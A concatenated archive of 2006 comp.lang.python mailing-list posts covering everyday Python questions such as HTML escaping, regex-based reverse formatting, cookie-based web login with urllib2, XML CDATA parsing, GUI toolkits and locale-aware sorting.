gmail.com Sat Oct 21 13:15:46 2006 From: saikrishbe at gmail.com (Sai Krishna M) Date: Sat, 21 Oct 2006 22:45:46 +0530 Subject: Screen capture on Linux In-Reply-To: <83e8215e0610211005k53651a49y8cf5f7802bc9eb54@mail.gmail.com> References: <83e8215e0610211005k53651a49y8cf5f7802bc9eb54@mail.gmail.com> Message-ID: <6559fb300610211015q617c7312w288895bb1e3151c7@mail.gmail.com> On 10/21/06, Paolo Pantaleo wrote: > Hi, > > I need to capture a screen snapshot in Linux. PIL has a module Its defaultly provided in the 'actions' menu of the OS. > IageGrab, but in the free version it only works under Windows. Is > there any package to capture the screen on Linux? -- I love Freedom From Roberto.Bonvallet at cern.ch Thu Oct 19 08:19:52 2006 From: Roberto.Bonvallet at cern.ch (Roberto Bonvallet) Date: Thu, 19 Oct 2006 12:19:52 +0000 (UTC) Subject: More Noob Questions References: <1161193249.636093.206690@e3g2000cwe.googlegroups.com> Message-ID: Omar wrote: > more to come! Please, use a more meaningful subject next time, like "Integration of Python and Flash" or "Where can I find vido tutorials". That way it will be easier to people that knows about the subject to find your message and answer you. And please think of us, non-native English speakers, that don't know slang words like "noob" that don't even appear in the dictionaries and don't add anything to your question. Cheers, -- Roberto Bonvallet From fredrik at pythonware.com Thu Oct 5 02:18:33 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 05 Oct 2006 08:18:33 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <452410E9.9040403@v.loewis.de> <1159997348.228622.246410@h48g2000cwc.googlegroups.com> <87hcyjel70.fsf@benfinney.id.au> Message-ID: Steve Holden wrote: > You appear to be prepared to go to any length short of providing effort > to support the open source tracker. http://www.userland.com/whatIsStopEnergy From http Wed Oct 25 15:20:53 2006 From: http (Paul Rubin) Date: 25 Oct 2006 12:20:53 -0700 Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> Message-ID: <7xvem8gq22.fsf@ruckus.brouhaha.com> "John Coleman" writes: > > then "x == 3" is false, but "int(x) == 3" is true. > But then why is 3.0 == 3 true? They are different types. The 3 gets converted to float, like when you say x = 3.1 + 3 the result is 6.1. From ram0812 at hotmail.com Tue Oct 3 08:06:24 2006 From: ram0812 at hotmail.com (Raja Raman Sundararajan) Date: 3 Oct 2006 05:06:24 -0700 Subject: Overriding builtin getattr method In-Reply-To: <4oene2Fdj7neU1@uni-berlin.de> References: <1159863862.889561.325340@m73g2000cwd.googlegroups.com> <1159864051.436175.289210@b28g2000cwb.googlegroups.com> <4oene2Fdj7neU1@uni-berlin.de> Message-ID: <1159877184.239284.93160@h48g2000cwc.googlegroups.com> Hello Gabriel Genellina and Diez B. Roggisch, Thanks for sharing your opinions. I agree with Gabriel when he talks about the separation between the presentation and the DB level access and the drawbacks of introducing character manipulation. The problem that I am facing right now is that the presentation layer uses several different page rendering machines (about 12). Some of them use the escaping techniques that presents browser reserved characters to be "unrunnable" <,> we just some examples, so far so great. But the other presentation layer engines(about 9) used are basic (optimized for fast rendering) and do not use such filtering/encoding mechanisms. Since the amount of files that is used by the "basic" rendering machines are quite high, I am forced to fix the problem in a much lower level. I have found a work around for it...since the pages presented by the basic rendering machines knows about objects fetched from the DB and the type of request(which presentation engine to use) generated, I collect information about these in a struct. This struct also contains information about the level of encoding needed. I overrode __getattribute__ method (which is always called when one fetches an attribute of an object) in the base class and introduced encoding level in the class. The __getattribute__ then checks for the level of encoding needed depending on the infor from the struct and returns the encoded data to the presentation layer when needed. The business object or the functional layer is unaffected as the default value returned by the __getattribute__ is the unencoded data from the DB. Raja Diez B. Roggisch skrev: > >> I have data stored in the database which has special characters > >> like <, > etc. > >> Case 1: Whenever I wanted to present the output to a browser > >> I need to escape these special characters into the browser > >> equivalent like < > etc.( for example by using the cgi module) > >> Case 2: Whenever I wanted to present the output to some client other > >> than a browser, I wanted to present the data as it is stored in the > >> database. > >> > >> For doing this I thought of overriding the __builtin__.__getattr__ > >> method. > >> I am wondering if there is any other way of achieving this. I have > >> loads of files that get the attribute values of objects stored in the > >> database and I do not want to manually change the way of DB access in > >> those files. I rather prefer a centralized way to achieve this. > > The centralized approach to this is certainly not achieved by > overloading getattr alone - because even if it was possible to do so > (which it isn't), the implementation needed a way to know when to use > escaping or not. Which would be signaled by some means, e.g. a > thread-local variable or even a global (shudder). > > This signal gets set in the code that decides that it wants the data > escaped - or not. And thus the code looks like this: > > needs_escaping() > work_with_objects() > no_escaping_anymore() > > But that is fragile, think of work_with_objects() throwing an exception > and the no_escaping_anymore() isn't called again. > > So the better approach is to gather the data as it is, and when you > transform it to something that requires escaping, do it there. > > That means: the way to do it is to use one of the gazillion web > templating systems that already do this escaping for you. > > Diez From DustanGroups at gmail.com Sun Oct 15 08:42:55 2006 From: DustanGroups at gmail.com (Dustan) Date: 15 Oct 2006 05:42:55 -0700 Subject: Reverse string-formatting (maybe?) In-Reply-To: References: <1160829302.661810.123440@k70g2000cwa.googlegroups.com> Message-ID: <1160916174.892851.39730@e3g2000cwe.googlegroups.com> Peter Otten wrote: > Dustan wrote: > > > Is there any builtin function or module with a function similar to my > > made-up, not-written deformat function as follows? I can't imagine it > > would be too easy to write, but possible... > > > >>>> template = 'I am %s, and he %s last %s.' > >>>> values = ('coding', "coded', 'week') > >>>> formatted = template % values > >>>> formatted > > 'I am coding, and he coded last week.' > >>>> deformat(formatted, template) > > ('coding', 'coded', 'week') > > > > expanded (for better visual): > >>>> deformat('I am coding, and he coded last week.', 'I am %s, and he %s > >>>> last %s.') > > ('coding', 'coded', 'week') > > > > It would return a tuple of strings, since it has no way of telling what > > the original type of each item was. > > > > > > Any input? I've looked through the documentation of the string module > > and re module, did a search of the documentation and a search of this > > group, and come up empty-handed. > > Simple, but unreliable: > > >>> import re > >>> template = "I am %s, and he %s last %s." > >>> values = ("coding", "coded", "week") > >>> formatted = template % values > >>> def deformat(formatted, template): > ... r = re.compile("(.*)".join(template.split("%s"))) > ... return r.match(formatted).groups() > ... > >>> deformat(formatted, template) > ('coding', 'coded', 'week') > > Peter Trying to figure out the 'unreliable' part of your statement... I'm sure 2 '%s' characters in a row would be a bad idea, and if you have similar expressions for the '%s' characters within as well as in the neighborhood of the '%s', that would cause difficulty. Is there any other reason it might not work properly? My template outside of the '%s' characters contains only commas and spaces, and within, neither commas nor spaces. Given that information, is there any reason it might not work properly? From kosh at aesaeion.com Fri Oct 13 12:57:06 2006 From: kosh at aesaeion.com (William Heymann) Date: Fri, 13 Oct 2006 10:57:06 -0600 Subject: Best IDE? In-Reply-To: <1160749749.140484.97990@f16g2000cwb.googlegroups.com> References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com> Message-ID: <200610131057.06661.kosh@aesaeion.com> On Friday 13 October 2006 08:29, Ahmer wrote: > What do you guys use? Kdevelop 3 > Why? It has good project management, good highlighting and since it is a kde app it supports ioslaves (means I can work with a resource from any location trasnparently like opening up files via sftp) > What do you like and hate about it? I can't think of anything that I hate about it. It has worked fine for me for a long time. It starts quickly, doesn't use much memory, the search features work well etc. It does pretty much all the things I need and care about. > What platform(s) is it avalable on? Anything that will run KDE so pretty much all the unixes. > How much does it cost? Nothing > etc. From deets at nospam.web.de Sun Oct 8 08:26:11 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Sun, 08 Oct 2006 14:26:11 +0200 Subject: need some regular expression help In-Reply-To: References: <1160256609.555007.83170@e3g2000cwe.googlegroups.com> <1160258429.883224.285830@i3g2000cwc.googlegroups.com> <1160297390.242124.260770@i3g2000cwc.googlegroups.com> Message-ID: <4os933Fg13j8U1@uni-berlin.de> Mirco Wahab schrieb: > Thus spoke Diez B. Roggisch (on 2006-10-08 10:49): >> Certainly true, and it always gives me a hard time because I don't know >> to which extend a regular expression nowadays might do the job because >> of these extensions. It was so much easier back in the old times.... > > Right, in perl, this would be a no-brainer, > its documented all over the place, like: > > my $re; > > $re = qr{ > (?: > (?> [^\\()]+ | \\. ) > | > \( (??{ $re }) \) > )* > }xs; > > where you have a 'delayed execution' > of the > > (??{ $re }) > > which in the end makes the whole a thing > recursive one, it gets expanded and > executed if the match finds its way > to it. > > Above regex will match balanced parens, > as in: > > my $good = 'a + (b / (c - 2)) * (d ^ (e+f)) '; > my $bad1 = 'a + (b / (c - 2) * (d ^ (e+f)) '; > my $bad2 = 'a + (b / (c - 2)) * (d) ^ (e+f) )'; > > if you do: > > print "ok \n" if $good =~ /^$re$/; > print "ok \n" if $bad1 =~ /^$re$/; > print "ok \n" if $bad2 =~ /^$re$/; > > > This in some depth documented e.g. in > http://japhy.perlmonk.org/articles/tpj/2004-summer.html > (topic: Recursive Regexes) That clearly is a recursive grammar rule, and thus it can't be regular anymore :) But first of all, I find it ugly - the clean separation of lexical and syntactical analysis is better here, IMHO - and secondly, what are the properties of that parsing? Is it LL(k), LR(k), backtracking? Diez From deets at nospam.web.de Tue Oct 3 05:05:07 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Tue, 03 Oct 2006 11:05:07 +0200 Subject: Overriding builtin getattr method In-Reply-To: <1159864051.436175.289210@b28g2000cwb.googlegroups.com> References: <1159863862.889561.325340@m73g2000cwd.googlegroups.com> <1159864051.436175.289210@b28g2000cwb.googlegroups.com> Message-ID: <4oene2Fdj7neU1@uni-berlin.de> >> I have data stored in the database which has special characters >> like <, > etc. >> Case 1: Whenever I wanted to present the output to a browser >> I need to escape these special characters into the browser >> equivalent like < > etc.( for example by using the cgi module) >> Case 2: Whenever I wanted to present the output to some client other >> than a browser, I wanted to present the data as it is stored in the >> database. >> >> For doing this I thought of overriding the __builtin__.__getattr__ >> method. >> I am wondering if there is any other way of achieving this. I have >> loads of files that get the attribute values of objects stored in the >> database and I do not want to manually change the way of DB access in >> those files. I rather prefer a centralized way to achieve this. The centralized approach to this is certainly not achieved by overloading getattr alone - because even if it was possible to do so (which it isn't), the implementation needed a way to know when to use escaping or not. Which would be signaled by some means, e.g. a thread-local variable or even a global (shudder). This signal gets set in the code that decides that it wants the data escaped - or not. And thus the code looks like this: needs_escaping() work_with_objects() no_escaping_anymore() But that is fragile, think of work_with_objects() throwing an exception and the no_escaping_anymore() isn't called again. So the better approach is to gather the data as it is, and when you transform it to something that requires escaping, do it there. That means: the way to do it is to use one of the gazillion web templating systems that already do this escaping for you. Diez From zhaodapu at gmail.com Thu Oct 12 08:38:39 2006 From: zhaodapu at gmail.com (zdp) Date: 12 Oct 2006 05:38:39 -0700 Subject: How to share session with IE In-Reply-To: References: <1160479479.825746.320610@k70g2000cwa.googlegroups.com> <1160480177.704013.37770@k70g2000cwa.googlegroups.com> Message-ID: <1160656719.706895.138670@i42g2000cwa.googlegroups.com> I found some similar topics in the newsgroup and get some ideas from them. http://groups.google.com/group/comp.lang.python/browse_thread/thread/2fe0be6c386adce4 http://groups.google.com/group/comp.lang.python/browse_thread/thread/a51cec8747f64619 According to all you suggestions, there are at least two ways to get my result. 1. Use the cookie of IE, so I don't need to code to logon. That means I must use ClientCookie. I found some example in the docs and the newsgroup. Below is some code based on the docs of ClientCookie. But the page I get is still the page told me must login ( I CAN get the right page in IE). import ClientCookie, urllib2 url_string="http://www.targetsite.com/bbs/viewthread.php?tid=12345" #the page I want to get cj = ClientCookie.MSIECookieJar(delayload=True) cj.load_from_registry() print cj #I want to know what I get opener = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cj)) ClientCookie.install_opener(opener) f = ClientCookie.urlopen(url_string) print f.read() # NOT the right page html 2. Logon myself by python. First, I access the login page and submit the form of username and password. The form has many fields other than username and passwd, so the dict "data" has all the fields even if it's hide. Then, if the login succeed, I can get my page use the opener with CookieJar. import urllib2, cookielib url_string="http://www.targetsite.com/bbs/viewthread.php?tid=12345" #the page I want to get url_login="http://www.targetsite.com/bbs/logging.php?action=login" #the login page headers = {'User-agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'} cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) urllib2.install_opener(opener) data = { 'formhash': '3bd8bc0a', "referer" : "index.php", "loginfield": "username", 'username': 'myname', 'password': 'mypass', "questionid": 0, "answer":"", "cookietime" : "315360000", "loginmode":"", "styleid":"" } req=urllib2.Request(url_login, urllib.urlencode(data), headers) f = opener.open(req) print req.get_data() print req.header_items() print f.info() print f.read() ## if login succeed, I can get my page f=opener.open( url_string) However, both ways didn't work for me. I don't know what's wrong. If it's because the server page check the header or the submit of the form is wrong? I didn't study Mechanize module yet. I want a solution as simple as possible for distribution reason. John J. Lee ??? > "Bernard" writes: > > zdp wrote: > [...] > > > However, now I need to process some pages by a python program. When I > > > use urllib.urlopen(theurl), I can only get a page which told me I need > > > login. I think It's reasonable, becuase I wasn't in a loggined session > > > which as IE did. > > > > > > So how can I do my job? I want to get the right webpage by the url. I > > > have search answers from the groups but didn't get clear answer. Should > > > I use win32com or urllib? Any reply or information is appreciate. Hope > > > I put it clear. > > > You can do the same thing as IE on your forum using urllib2 and > > cookielib. In short you need to code a small webcrawler. I can give you > > my browser module if necessary. > > You might not have the time to fiddle with the coding part or my > > browser module so you can also use this particularly useful module : > > http://wwwsearch.sourceforge.net/mechanize/ > > The documentation is pretty clear for an initiated python programmer. > > If it's not your case, I'd recommend to read some ebooks on the python > > language first to get use to it. > > In particular, if you're following the approach Bernard suggests, you > can either: > > 1. Log in every time your program runs, by going through the sequence > of clicks, pages, etc. that you would use in a browser to log in. > > 2. Once only (or once a month, or whatever), log in by hand using IE > with a "Remember me"-style feature (if the website offers that) -- > where the webapp asks the browser to save the cookie rather than > just keeping it in memory until you close your browser. Then your > program can load the cookies from your real browser's cookie store > using this: > > http://wwwsearch.sourceforge.net/mechanize/doc.html#browsers > > > There are other alternatives too, but they depend on knowing a little > bit more about how cookies and web apps work, and may or may not work > depending on what exactly the server does. I'm thinking specifically > here of saving *session* cookies (the kind that usually go away when > you close your browser) in a file -- but the server may not like them > when you send them back the next time, depending how much time has > elapsed since the last run. Of course, you can always detect the > "need to login" condition, and react accordingly. > > > John From horpner at yahoo.com Fri Oct 13 18:56:15 2006 From: horpner at yahoo.com (Neil Cerutti) Date: Fri, 13 Oct 2006 22:56:15 GMT Subject: Best IDE? References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com> Message-ID: On 2006-10-13, Gerrit Holl wrote: > On 2006-10-13 16:31:37 +0200, Ahmer wrote: >> Subject: Best IDE? > > cat > foo.py > >> How much does it cost? > > 0 On Windows this editor is invoked like this: COPY CON: FOO.PY HTH! HAND! -- Neil Cerutti From fredrik at pythonware.com Fri Oct 13 05:03:45 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 13 Oct 2006 11:03:45 +0200 Subject: How to print the CDATA of .xml file? References: <8c8dcbe30610122342m2fea53f3j5cc503658bc8ff5f@mail.gmail.com> Message-ID: Kevien Lee wrote: > when i use the minidom to parase the XML file,it would ignored the section > of > the code is: > > _document=minidom.parse("filePath") > _documnetList=_document.getElementsByTagName("NodeArgs") > for _argNode in _documnetList: > print _argNode.nodeValue,_argNode.localName > > when it run. The nodeValue of the CDATA Section is always None,Is my code > error? here's one way to do it, under Python 2.5: import xml.etree.ElementTree as ET tree = ET.parse(filename) for elem in tree.findall(".//NodeArgs"): print elem.findtext("Disp") print elem.findtext("BtmPane/Path") From proteusguy at gmail.com Sat Oct 7 01:12:27 2006 From: proteusguy at gmail.com (proteusguy at gmail.com) Date: 6 Oct 2006 22:12:27 -0700 Subject: Python to use a non open source bug tracker? In-Reply-To: <1159908166.587313.57370@i3g2000cwc.googlegroups.com> References: <22pUg.132825$zy5.1820633@twister1.libero.it> <1159908166.587313.57370@i3g2000cwc.googlegroups.com> Message-ID: <1160197946.958936.21150@m73g2000cwd.googlegroups.com> Jira is a remarkably well done product. We've adopted it internally and use it for project planning (we're doing Agile) as well as defect tracking. The plugin support and user interface just can't be touched by the competition and I've been looking. I'd prefer an open source python based system and maybe one day someone will make such a thing on top of django, turbo gears, or quixote but they're gonna have a lot of catching up to do. -- Ben Istvan Albert wrote: > But this will definitely not happen over a short period of time and > even in the worst case scenario there will be a few years in which the > development can take place in an awesome environment. I've looked at > the JIRA demo, and wow, it really seems like an amazingly cool way to > do software development. From pydecker at gmail.com Sun Oct 22 09:19:20 2006 From: pydecker at gmail.com (Peter Decker) Date: Sun, 22 Oct 2006 09:19:20 -0400 Subject: Tkinter--does anyone use it for sophisticated GUI development? In-Reply-To: <1161510017.622766.187460@k70g2000cwa.googlegroups.com> References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> <4538dd3b$0$24774$426a74cc@news.free.fr> <1161440644.300080.198790@b28g2000cwb.googlegroups.com> <453A3440.8090801@kevin-walzer.com> <1161444416.749636.172530@i42g2000cwa.googlegroups.com> <1161510017.622766.187460@k70g2000cwa.googlegroups.com> Message-ID: On 22 Oct 2006 02:40:17 -0700, bearophileHUGS at lycos.com wrote: > With some cleaning and improving, I think wax > (http://zephyrfalcon.org/labs/wax.html ) can become good too. I looked at Wax, but the author doesn't seem to be too involved with it. It looks like a cool idea that he developed far enough to make it work, and then got bored with it. I mean hell, there isn't even a workable grid class that does anything differently than the wxPython grid does! Dabo's implementation is already llight years ahead of Wax, despite entering the game much later. When you've worked with lots of open source projects, you can tell which are actively being developed and which are dead or comatose; you can tell which have a growing community and which are stagnant; you can tell which are worth investing your time into learning and/or contributing to, and which are dead-ends. Wax feels like a real dead-end to me. -- # p.d. From sturlamolden at yahoo.no Sat Oct 21 12:13:42 2006 From: sturlamolden at yahoo.no (sturlamolden) Date: 21 Oct 2006 09:13:42 -0700 Subject: Tkinter--does anyone use it for sophisticated GUI development? In-Reply-To: <1161443842.206948.145300@i42g2000cwa.googlegroups.com> References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> <4538dd3b$0$24774$426a74cc@news.free.fr> <1161440644.300080.198790@b28g2000cwb.googlegroups.com> <453A3440.8090801@kevin-walzer.com> <1161443842.206948.145300@i42g2000cwa.googlegroups.com> Message-ID: <1161447222.660369.196370@i3g2000cwc.googlegroups.com> Wektor wrote: > wx has also graphical editors like Glade (there is a wxGlade project) > giving a xml description of a window and its cross platform. If you are thinking about XRC, then beware that this XML don't solve any problems, it just creates another. XRC and libglade do not compare. libglade makes the GUI development easy and the program code clean and easy to read. XRC makes the GUI development difficult and the program code convoluted and difficult to read. Also wxGlade is not GLADE. In particular, wxGlade is unstable and tend to crash or do stupid things. But if your alternative is to hand-code the wxPython GUI, then wxGLADE is nevertheless the better option. > On the other hand its a pity that there isnt much choice in cross > platform (win mac lin) GUI platforms until now i was a great fan of GTK > but there isnt a proper port for Mac. GTK is being ported to Aqua, but the port it is in its early stages. > Its also a pity that no one didnt do something based on OpenGL with > python (or maybe im wrong) it could be cool and really cross-platform. You are wrong. There are PyOpenGL and there is cross-platform GUI and game development platforms that use it (PyGTK, wxPython, PyGame). There are also PyOgre, which are more pythonic than using OpenGL directly. From sjmachin at lexicon.net Sat Oct 7 04:57:45 2006 From: sjmachin at lexicon.net (John Machin) Date: 7 Oct 2006 01:57:45 -0700 Subject: dictionary containing a list In-Reply-To: References: <1160170679.625037.300000@c28g2000cwb.googlegroups.com> <1160172055.962140.180110@b28g2000cwb.googlegroups.com> Message-ID: <1160211465.070263.265340@i3g2000cwc.googlegroups.com> Steve Holden wrote: > John Machin wrote: > > Ben wrote: > > > >>Hello... > >> > >>I have set up a dictionary into whose values I am putting a list. I > >>loop around and around filling my list each time with new values, then > >>dumping this list into the dictionary. Or so I thought... > >> > >>It would appear that what I am dumping into the dictionary value is > >>only a pointer to the original list, so after all my iterations all I > >>have is a dictionary whose every value is equal to that of the list the > >>final time I looped around :-( > >> > >>Is there a way to acheive what I was attempting ? I have done something > >>almost identical with classes in a list before, and in that case a new > >>instance was created for each list entry... > >> > >> > >>I hope this makes some sense, and doesn't seem to head bangingly > >>simple... > >> > > > > > > Do you consult your physician over a video link while wearing a ninja > > costume down an unlit coal mine at midnight? > > > > Please consider the possibility that your description of what you think > > your code might be doing is not enough for diagnosis. > > > > You may need to supply: > > (1) a listing of your code > > (2) a small amount of input data > > e.g. [(1, 'foo'), (42, 'bar'), (1, 'zot')] > > (3) the output you expect from that input: > > e.g. {1: ['foo', 'zot'], 42: ['bar']} > > > One of the fascinating things about c.l.py is that sometimes a questin > will be posted that makes almost no sense to me, and somebody else will > casually read the OP's mind, home in on the issue and provide a useful > and relevant answer. > > In this case it seems transparent to me, though probably not to you, > that Ben's problem is rootd in the following behaviour, well-known in > python but frequently confusing to noobs: > > >>> a = [1, 2, 3] > >>> firstlist = a > >>> a.append('another element') > >>> firstlist > [1, 2, 3, 'another element'] > >>> > It's quite transparent to me that his symptom is caused by the one list being used throughout the exercise, instead of one per different dict key. What you have described is one possibility. Here's another possibility: Making the charitable assumption that he has an outer loop and an inner loop, maybe (as I think another poster has already suggested) all he needs to do is move "mylist = []" inside the outer loop. Note that he doesn't say explicitly whether the one list that he gets is the *correct* list for the last key, or whether it's the catenation of all the correct lists, or something else. Yet another: Noobs do all sorts of funny things. He could be operating on a "clean the bucket out after each use instead making a new one" paradigm: | >>> d= {} | >>> L = [] | >>> L.append(1) | >>> L.append(2) | >>> d['a'] = L | >>> d | {'a': [1, 2]} | >>> del L[:] | >>> d | {'a': []} | >>> L.append(3) | >>> L.append(4) | >>> d['b'] = L | >>> d | {'a': [3, 4], 'b': [3, 4]} Cheers, John From rrr at ronadam.com Thu Oct 19 09:00:25 2006 From: rrr at ronadam.com (Ron Adam) Date: Thu, 19 Oct 2006 08:00:25 -0500 Subject: Flexible Collating (feedback please) In-Reply-To: <1161253696.778503.45960@k70g2000cwa.googlegroups.com> References: <35kZg.6681$fl.2685@dukeread08> <1161253696.778503.45960@k70g2000cwa.googlegroups.com> Message-ID: <8JKZg.6744$fl.3093@dukeread08> Leo Kislov wrote: > Ron Adam wrote: > >> locale.setlocale(locale.LC_ALL, '') # use current locale settings > > It's not current locale settings, it's user's locale settings. > Application can actually use something else and you will overwrite > that. You can also affect (unexpectedly to the application) > time.strftime() and C extensions. So you should move this call into the > _test() function and put explanation into the documentation that > application should call locale.setlocale I'll experiment with this a bit, I was under the impression that local.strxfrm needed the locale set for it to work correctly. Maybe it would be better to have two (or more) versions? A string, unicode, and locale version or maybe add an option to __init__ to choose the behavior? Multiple versions seems to be the approach of pre-py3k. Although I was trying to avoid that. Sigh, of course issues like this is why it is better to have a module to do this with. If it was as simple as just calling sort() I wouldn't have bothered. ;-) >> self.numrex = re.compile(r'([\d\.]*|\D*)', re.LOCALE) > > [snip] > >> if NUMERICAL in self.flags: >> slist = self.numrex.split(s) >> for i, x in enumerate(slist): >> try: >> slist[i] = float(x) >> except: >> slist[i] = locale.strxfrm(x) > > I think you should call locale.atof instead of float, since you call > re.compile with re.LOCALE. I think you are correct, but it seems locale.atof() is a *lot* slower than float(). :( Here's the local.atof() code. def atof(string,func=float): "Parses a string as a float according to the locale settings." #First, get rid of the grouping ts = localeconv()['thousands_sep'] if ts: string = string.replace(ts, '') #next, replace the decimal point with a dot dd = localeconv()['decimal_point'] if dd: string = string.replace(dd, '.') #finally, parse the string return func(string) I could set ts and dd in __init__ and just do the replacements in the try... if NUMERICAL in self.flags: slist = self.numrex.split(s) for i, x in enumerate(slist): if x: # slist may contain null strings if self.ts: xx = x.replace(self.ts, '') # remove thousands sep if self.dd: xx = xx.replace(self.dd, '.') # replace decimal point try: slist[i] = float(xx) except: slist[i] = locale.strxfrm(x) How does that look? It needs a fast way to determine if x is a number or a string. Any suggestions? > Everything else looks fine. The biggest missing piece is support for > unicode strings. This was the reason for using locale.strxfrm. It should let it work with unicode strings from what I could figure out from the documents. Am I missing something? Thanks, Ron From ardsrk at gmail.com Mon Oct 30 01:21:15 2006 From: ardsrk at gmail.com (ArdPy) Date: 29 Oct 2006 22:21:15 -0800 Subject: Very simple request about argument setting. In-Reply-To: <1162181887.815509.95420@m7g2000cwm.googlegroups.com> References: <1162173597.849028.25940@m7g2000cwm.googlegroups.com> <1162177851.172060.228610@m7g2000cwm.googlegroups.com> <1162181887.815509.95420@m7g2000cwm.googlegroups.com> Message-ID: <1162189275.430660.22870@b28g2000cwb.googlegroups.com> Hakusa at gmail.com wrote: > ArdPy wrote: > > There is an error in the syntax the star must prefix the variable name > > not suffix it. > > Then the items variable will accept the parameter value as a tuple. > > Hmm, tuples are immutable, right? I need something mutable so that when > the player picks up an item, it's no longer in the room. > > Besides which, I've been playing with this whole thing in the > interactive interpreter: > > >>> def shuf(x,*foo, **bar): > ... return x, foo > ... > >>> x,foo,bar = shuf(1,2,3,4,5,6,7,8) > Traceback (most recent call last): > File "", line 1, in > ValueError: need more than 2 values to unpack > > I remember that two stars is for the second tuple, but how do I > distinguish between what var is for which tuple? I've tried using > brackets, braces, prenthisies, nothing seems to work. So what I am > doing wrong? The thing is that the parameter 'bar' is actually a dictionary object so the right way of calling shuf is then x,foo,bar = shuf(1,2,3,4,5,a=6,b=7,c=8) From kylotan at gmail.com Fri Oct 20 11:20:06 2006 From: kylotan at gmail.com (Ben Sizer) Date: 20 Oct 2006 08:20:06 -0700 Subject: Using Python scripts in Windows Explorer Message-ID: <1161357605.861266.144980@m73g2000cwd.googlegroups.com> I'd like to be able to drag a file onto a Python script in Windows Explorer, or send that file to the script via the Send To context-menu option, so I can then process that file via sys.argc. Unfortunately, I can't drag items onto the Python script, because Windows doesn't recognise that the script is executable (unless I double-click it, upon which it runs as usual, without the command line parameter of course) and won't set it as a drop target. And it won't even appear in the Send To menu after the usual steps are taken to get it there. I then tried to wrap it in a batch file, but encounter a problem, where that batch file is able to execute the Python file if I double-click the batch file, but if I drag a file onto it it says it can no longer find the Python script. Are there any simple and workable solutions for this sort of thing? -- Ben Sizer From haraldarminmassa at gmail.com Wed Oct 4 04:49:14 2006 From: haraldarminmassa at gmail.com (GHUM) Date: 4 Oct 2006 01:49:14 -0700 Subject: Best way to handle large lists? In-Reply-To: <45227982.4060808@hotmail.com> References: <7xodst3337.fsf@ruckus.brouhaha.com> <45227982.4060808@hotmail.com> Message-ID: <1159951754.436595.27070@k70g2000cwa.googlegroups.com> > > Maybe the application should use sets instead of lists for these > > collections. > What would sets do for me over lists? searching for an element in a list is O(n) searching for an element in a set is O(1) (for reasonable distributed elements) Harald From michael at stroeder.com Thu Oct 26 13:07:28 2006 From: michael at stroeder.com (=?ISO-8859-1?Q?Michael_Str=F6der?=) Date: Thu, 26 Oct 2006 19:07:28 +0200 Subject: SSL follow up In-Reply-To: <7xac3muwg4.fsf@ruckus.brouhaha.com> References: <7xac3muwg4.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: > > To dump out the certificate? Try: > > openssl x509 -text -in filename.crt > > if the cert is in a file. Omit that -in parameter if you want openssl > to read from stdin. Of course now you get this other text format > thing to parse, but it's not so bad. I wouldn't recommend that. Actually I tried one time. Use a decent module instead which parses certs for you. I wrote one myself for web2ldap. Ciao, Michael. From ncoghlan at gmail.com Tue Oct 17 06:10:26 2006 From: ncoghlan at gmail.com (NickC) Date: 17 Oct 2006 03:10:26 -0700 Subject: Python 2.4 online certification - new items available for Beta testing References: <1160673391.870483.295320@c28g2000cwb.googlegroups.com> Message-ID: <1161079826.060082.324280@i42g2000cwa.googlegroups.com> skip at pobox.com wrote: > Randy> There is a free Beta test of a Python 2.4 Certification test > Randy> available at Brainbench.com. They are a provider of skills-based > Randy> certification exams. Go to the link below to find the test. It > Randy> is free to take the test. > > Randy> http://www.brainbench.com/xml/bb/common/testcenter/betatests.xml > > I've given up on Brainbench. Ignoring the possibility that their > certification tests may not be all that useful, they never stopped spamming > me, so I refuse to help them with anything. > > Skip I went through their first test module (although using a mailinator address after this testimonial from Skip) and I think "Beta" is generous. Try "pre-alpha" - i marked nearly half (maybe more than half) of the 20 questions as "no correct answer", and a number of the others included sample code that stank to high heaven. I also pointed out that "what does this code do?" type questions are pretty pointless for a language that comes with an interactive interpreter (I would actually be somewhat disappointed with any Python programmer whose automatic reaction to such a question involving deliberately obfuscated code *wasn't* to try it out on the nearest interpreter prompt). From deets at nospam.web.de Sat Oct 21 11:07:34 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Sat, 21 Oct 2006 17:07:34 +0200 Subject: Tkinter--does anyone use it for sophisticated GUI development? In-Reply-To: <453A3440.8090801@kevin-walzer.com> References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> <4538dd3b$0$24774$426a74cc@news.free.fr> <1161440644.300080.198790@b28g2000cwb.googlegroups.com> <453A3440.8090801@kevin-walzer.com> Message-ID: <4purdjFki6jcU1@uni-berlin.de> > I'm a Mac developer--Gtk does not run natively on the Mac (i.e. as an > Aqua framework), only under X11. So that's a non-starter for me. Besides the excellent PyObjc-bridge that of course only works for Mac-only-development, you might consider PyQt. Biggest drawback: the GPL-license. But feature-wise, it beats IMHO all other toolkits. It looks pretty well under OSX. Not absolutely perfect, but certainly better that the alternatives. Google earth for example is created with it, at least in the Mac-incarnation. Diez From __peter__ at web.de Mon Oct 23 10:31:32 2006 From: __peter__ at web.de (Peter Otten) Date: Mon, 23 Oct 2006 16:31:32 +0200 Subject: Problems trying to override __str__ on path class References: Message-ID: Mike Krell wrote: > Alas, the print statement says "2.1".??So?there's?a?definite?platform?/ > environment difference here, but that isn't it. It turns out the observed difference is only indirectly triggered by the differing platforms. On my machine the path baseclass is str. If I change it to unicode (by patching path.py), I get the same output that you had. The problem can be reduced to >>> class A(str): ... def __str__(self): return "yadda" ... >>> "%s" % A(), str(A()) ('yadda', 'yadda') >>> class B(unicode): ... def __str__(self): return "yadda" ... >>> "%s" % B(), str(B()) (u'', 'yadda') 